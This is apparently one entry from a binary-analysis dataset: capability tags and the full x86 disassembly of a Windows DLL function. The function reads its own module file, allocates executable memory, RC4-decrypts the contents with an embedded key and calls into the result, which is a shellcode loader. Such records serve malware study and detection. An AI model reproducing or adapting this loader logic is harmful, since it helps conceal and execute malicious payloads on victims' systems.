Function at 0x10001cd0
Capabilities:
Allocate or change rwx memory
Encrypt data using rc4 ksa
Execute shellcode via indirect call

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001c9c0
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x858
mov eax, dword [0x1002a050]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x220]
push 0
push eax
call fcn.10006d30
add esp, 0xc
lea eax, [ebp - 0x220]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x220]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001d44
sub ecx, edx
add ecx, 0xfffffffc
cmp ecx, 0x104
jae 0x100021f6
push 0xb8
mov byte [ebp + ecx - 0x220], al
lea eax, [ebp - 0x7d8]
push 0
push eax
call fcn.10006d30
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x7d8]
call fcn.10003090
mov eax, dword [ebp - 0x7d8]
mov eax, dword [eax + 4]
mov ecx, dword [ebp + eax - 0x7a0]
test ecx, ecx
je 0x10001da1
mov eax, dword [ecx]
call dword [eax + 4]
push ecx
lea ecx, [ebp - 0x7d8]
call fcn.10003e50
mov eax, dword [ebp - 0x7d8]
mov ecx, dword [eax + 4]
test byte [ebp + ecx - 0x7cc], 6
jne 0x10001dea
mov ecx, dword [ebp + ecx - 0x7a0]
lea edx, [ebp - 0x850]
push 1
push 1
push 0
mov eax, dword [ecx]
push 0
push edx
call dword [eax + 0x28]
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x7d8]
jmp 0x10001e0f
xorps xmm0, xmm0
mov dword [ebp - 0x850], 0xffffffff
mov dword [ebp - 0x84c], 0xffffffff
movups xmmword [ebp - 0x848], xmm0
mov dword [ebp - 4], 1
mov eax, dword [eax + 4]
mov ecx, dword [ebp + eax - 0x7a0]
test ecx, ecx
je 0x10001e22
mov eax, dword [ecx]
call dword [eax + 8]
mov dword [ebp - 4], 0xffffffff
mov edi, dword [ebp - 0x850]
add edi, dword [ebp - 0x848]
push 0x40
push 0x1000
push edi
push 0
mov dword [ebp - 0x834], edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x7d8]
mov edx, 4
mov dword [ebp - 0x82c], eax
lea eax, [ebp - 0x7d8]
push 0
mov ecx, dword [ecx + 4]
mov esi, dword [ebp + ecx - 0x7cc]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
cmovne edx, eax
and esi, 0xfffffffe
or edx, esi
push edx
call fcn.10001ba0
mov eax, dword [ebp - 0x7d8]
mov eax, dword [eax + 4]
mov ecx, dword [ebp + eax - 0x7a0]
test ecx, ecx
je 0x10001e9c
mov eax, dword [ecx]
call dword [eax + 4]
push ecx
lea ecx, [ebp - 0x7d8]
call fcn.10003e50
mov eax, dword [ebp - 0x7d8]
mov ecx, dword [eax + 4]
test byte [ebp + ecx - 0x7cc], 6
jne 0x10001f20
mov ecx, dword [ebp + ecx - 0x7a0]
lea edx, [ebp - 0x868]
push 1
push 0
push 0
mov eax, dword [ecx]
push 0
push edx
call dword [eax + 0x28]
mov ecx, dword [ebp - 0x868]
add ecx, dword [ebp - 0x860]
mov eax, dword [ebp - 0x864]
adc eax, dword [ebp - 0x85c]
and ecx, eax
cmp ecx, 0xffffffff
jne 0x10001f20
mov eax, dword [ebp - 0x7d8]
lea ecx, [ebp - 0x7d8]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10001ba0
mov dword [ebp - 4], 2
mov eax, dword [ebp - 0x7d8]
mov eax, dword [eax + 4]
mov ecx, dword [ebp + eax - 0x7a0]
test ecx, ecx
je 0x10001f40
mov eax, dword [ecx]
call dword [eax + 8]
mov eax, edi
mov dword [ebp - 4], 0xffffffff
cdq
lea ecx, [ebp - 0x7d8]
push edx
push eax
push dword [ebp - 0x82c]
call fcn.100033c0
lea ecx, [ebp - 0x7c8]
call fcn.10003b80
test eax, eax
jne 0x10001f97
mov eax, dword [ebp - 0x7d8]
lea ecx, [ebp - 0x7d8]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10001ba0
push 0x100
lea eax, [ebp - 0x118]
push 0
push eax
call fcn.10006d30
add esp, 0xc
lea eax, [ebp - 0x720]
xor edi, edi
push 0x400
push edi
push eax
call fcn.10006d30
add esp, 0xc
lea eax, [ebp - 0x314]
push 0xf4
push edi
push eax
call fcn.10006d30
movq xmm0, qword [str.fYTUdr643_3u]
lea esi, [edi + 0xc]
mov eax, dword [0x100276b8]
add esp, 0xc
movq qword [ebp - 0x320], xmm0
xor ecx, ecx
mov dword [ebp - 0x318], eax
nop dword [eax]
mov eax, ecx
mov byte [ebp + ecx - 0x118], cl
xor edx, edx
div esi
movzx eax, byte [ebp + edx - 0x320]
mov dword [ebp + ecx*4 - 0x720], eax
inc ecx
cmp ecx, 0x100
jl 0x10002000
xor esi, esi
nop word [eax + eax]
mov dl, byte [ebp + esi - 0x118]
mov ecx, dword [ebp + esi*4 - 0x720]
movzx eax, dl
add ecx, eax
add edi, ecx
and edi, 0x800000ff
jns 0x10002055
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [ebp + edi - 0x118]
mov byte [ebp + esi - 0x118], al
inc esi
mov byte [ebp + edi - 0x118], dl
cmp esi, 0x100
jl 0x10002030
xor esi, esi
xor edi, edi
mov dword [ebp - 0x830], esi
cmp dword [ebp - 0x834], esi
jle 0x100020fd
inc esi
and esi, 0x800000ff
jns 0x10002096
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [ebp + esi - 0x118]
movzx edx, cl
add edi, edx
and edi, 0x800000ff
jns 0x100020b2
dec edi
or edi, 0xffffff00
inc edi
movzx eax, byte [ebp + edi - 0x118]
mov byte [ebp + esi - 0x118], al
mov byte [ebp + edi - 0x118], cl
movzx eax, byte [ebp + esi - 0x118]
mov ecx, dword [ebp - 0x830]
add eax, edx
mov edx, dword [ebp - 0x82c]
movzx eax, al
movzx eax, byte [ebp + eax - 0x118]
xor byte [ecx + edx], al
inc ecx
mov dword [ebp - 0x830], ecx
cmp ecx, dword [ebp - 0x834]
jl 0x10002085
jmp 0x10002103
mov edx, dword [ebp - 0x82c]
movups xmm0, xmmword [edx]
lea ecx, [edx + 0x4c]
movups xmmword [ebp - 0x828], xmm0
movups xmm1, xmmword [edx + 0x10]
movups xmmword [ebp - 0x818], xmm1
movups xmm0, xmmword [edx + 0x20]
movups xmmword [ebp - 0x808], xmm0
movups xmm0, xmmword [edx + 0x30]
movups xmmword [ebp - 0x7f8], xmm0
movq xmm0, qword [edx + 0x40]
movq qword [ebp - 0x7e8], xmm0
mov eax, dword [edx + 0x48]
mov dword [ebp - 0x7e0], eax
movd eax, xmm1
add eax, ecx
mov dword [ebp - 0x818], eax
lea eax, [ebp - 0x828]
push eax
call ecx
mov eax, dword [ebp - 0x7d8]
add esp, 4
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x7d8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x7dc], eax
lea ecx, [ebp - 0x7c8]
call fcn.10002d20
mov eax, dword [ebp - 0x7d8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x7d8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x7dc], eax
lea eax, [ebp - 0x768]
mov dword [ebp - 4], 3
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.10004e3a
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100052a6
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.1000543c
int3